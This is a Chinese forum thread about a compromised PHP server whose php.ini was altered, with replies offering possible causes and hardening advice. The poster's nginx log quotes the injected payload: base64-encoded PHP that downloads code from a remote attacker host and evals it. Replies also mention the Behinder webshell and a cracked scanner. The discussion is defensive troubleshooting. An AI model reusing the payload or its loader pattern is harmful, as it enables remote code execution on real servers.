服务器被攻击了，安全大佬来看下这是怎么攻击的

[ydpro]

用来跑老项目的服务器的 php.ini 里面的 auto_prepend_file 和 allow_url_include 被修改了，导致请求返回的内容出现了问题，有没有大佬说下这是怎么修改的

[luoyide2010]

大概是有漏洞被拿到权限呗，除非你能提供源码或者远控环境，单凭几个字描述怎么可能定位到问题？

[xuanbg]

我不是什么安全大佬，我只会一招，就是开白名单。除了 80 和 443 ，其他端口只能我自己的 ip 可以访问。从 2000 年至今 24 年了，服务器都换过好几茬了，从来没有被攻破过。

[tunggt]

你这只能一点一点排查，就你说的只有这点内容，谁都没法给你解决办法

[kokutou]

把软件都升到最新吧。。。

[Seanfuck]

SSH 被爆破了？看下日志

[pota]

你这相当于啥都没说啊。。

[dhb233]

把你的 IP 、域名放出来，看看有没有大佬给你再攻破了

[344457769]

PHP 很多漏洞可以 getshell ，排查一下 PHP 系统框架版本，找找业务方面的漏洞，重点关注一下上传图片上传文件的逻辑有没有做文件类型判断，把危险的请求体给过滤下，系统数据做好备份后更新下软件吧。

[miyuki]

1. php 网站程序漏洞被 getshell 了（被植入恶意指令）
2. ssh 弱密码被破解了
3. 其它程序比如 redis 没做好安全防护

很多很多可能

[Greenm]

描述这么少，问得这么简单，可能同样的字数仅有给 ssh 权限才能帮你排查出来了。

[opengps]

@xuanbg 你这样还不够，系统自身漏洞没堵上，我遇到过有人利用我的上传没处理权限漏洞传进来一份木马脚本，还挺好用，可以直接执行 sql 语句

[xiao17]

@xuanbg 啥网站啊，我瞅瞅^_^

[oneisall8955]

@xiao17 满猜 openGPS.cn

[psterman]

@xuanbg 你成功引起了我的注意

[I2E]

https://github.com/rebeyond/Behinder 之前被这个木马搞过

[carlinglm]

@xuanbg #2 同道中人啊

[care]

@xuanbg 请问下你的白名单 ip 是固定不变的吗？

[cruzzz]

@xuanbg = =和大佬是一样的玩法。 只是有时候本地运营商强行断网（ 3 个~4 个月），就到处换 IP ，笑死。

[xmlf]

@cruzzz ddns ，服务器 ping ，自动加入 iptables

[block0]

你用宝塔了?

[opengps]

@oneisall8955 还是你狠，至今日志里天天都有一堆扫描器的痕迹

[l2d]

任意文件写 or rce
具体什么问题查流量日志的异常流量

[dzdh]

selinux 一开。完事。

不要闲着没事蛋疼自己编译 php 。就用系统自带的。

debian 系的用 https://packages.sury.org/php/

rh 系的用 https://rpms.remirepo.net/

开启 selinux / apparmor 就不可能修改到你的配置文件

[Remember]

网站写的烂，被拿到 webshell 了。

[idc181906]

你不关闭 22 端口的吗，最近挺多漏扫的，还是关闭了吧。

[han1988]

套 WAF 呀

[vcn8yjOogEL]

网页服务器套 SELinux, 嫌麻烦就上 Debian 用 AppArmor, 不过效果会差一点
防火墙只开 80, 443 和一个随机的 ssh 端口
ssh 白名单, 要是白名单的网段大就再上 fail2ban

[hefish]

OP： 我有病，医生你快给我开药吧。。。
医生： 要不说说哪儿不舒服？
OP：我就是病了，你不是医生吗？快点开药啊。。。
医生：。。。。

[weijancc]

就简单一句, 改为使用 ssh 密钥登录服务器, 禁用密码, 我的服务器都直接开放 22 端口的.

[catamaran]

网上找破解的 awvs ，自己扫描一下

[way2create]

信息太少了，不过既然是 PHP 老项目，有一个可能是漏扫然后 getshell 了，之前服务器领导就部署了这种 shi 山老项目中招了，还好对方也没整什么大动作。。。emm 领导要这样搞我也管不着，只不过擦屁股有点烦

[justfindu]

啥信息都没有, log 也没有, 还想看看咋样的, 好自我加强一下

[luozic]

安全问题，扫机器，看能不能处理，不能处理那就换个机器，把数据备份杀毒，再传新服务器-----这次在新机器上注意安全加固和扫一下自己的代码 部署的各个东西的版本有啥漏洞没

[ydpro]

上午太忙了，下面是 nginx 的部分报错信息

2024/04/03 14:24:55 [error] 85023#0: *418871825 FastCGI sent in stderr: "PHP message: PHP Warning: file_get_contents( http://8.jsc20242.com:81/jsc/jsc.txt): failed to open stream: Connection timed out in data:;base64,PD9waHAgaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCAib2ZmIik7ZXZhbCgnPz4nLmZpbGVfZ2V0X2NvbnRlbnRzKGJhc2U2NF9kZWNvZGUoJ2FIUjBjRG92THpndWFuTmpNakF5TkRJdVkyOXRPamd4TDJwell5OXFjMk11ZEhoMCcpKSk7Pz4=

不知道攻击者怎么修改 php.ini 的 auto_prepend_file 和 allow_url_include

[sofukwird]

搜一搜 PHP 高危漏洞，然后对比下你所使用的 PHP 版本，如果 PHP 版本比较老的话就会中招

[Metre]

网址告诉我，我帮你做个漏扫评估

[Beeium]

@opengps #21 502 了

[coderzhangsan]

大概率你用宝塔部署 php 环境了吧，如果你用宝塔装了，就又很大概率中招，建议你卸掉宝塔，重新部署环境吧，稍微学一下，部署 php 环境很简单的。

[way2create]

@coderzhangsan 想起之前有个新来的主管问我为啥之前 Linux 服务器都不用宝塔 说脚本装的命令行维护太麻烦 换成他全装宝塔

[opengps]

@Beeium frp 竟然被打挂了，是你干的不？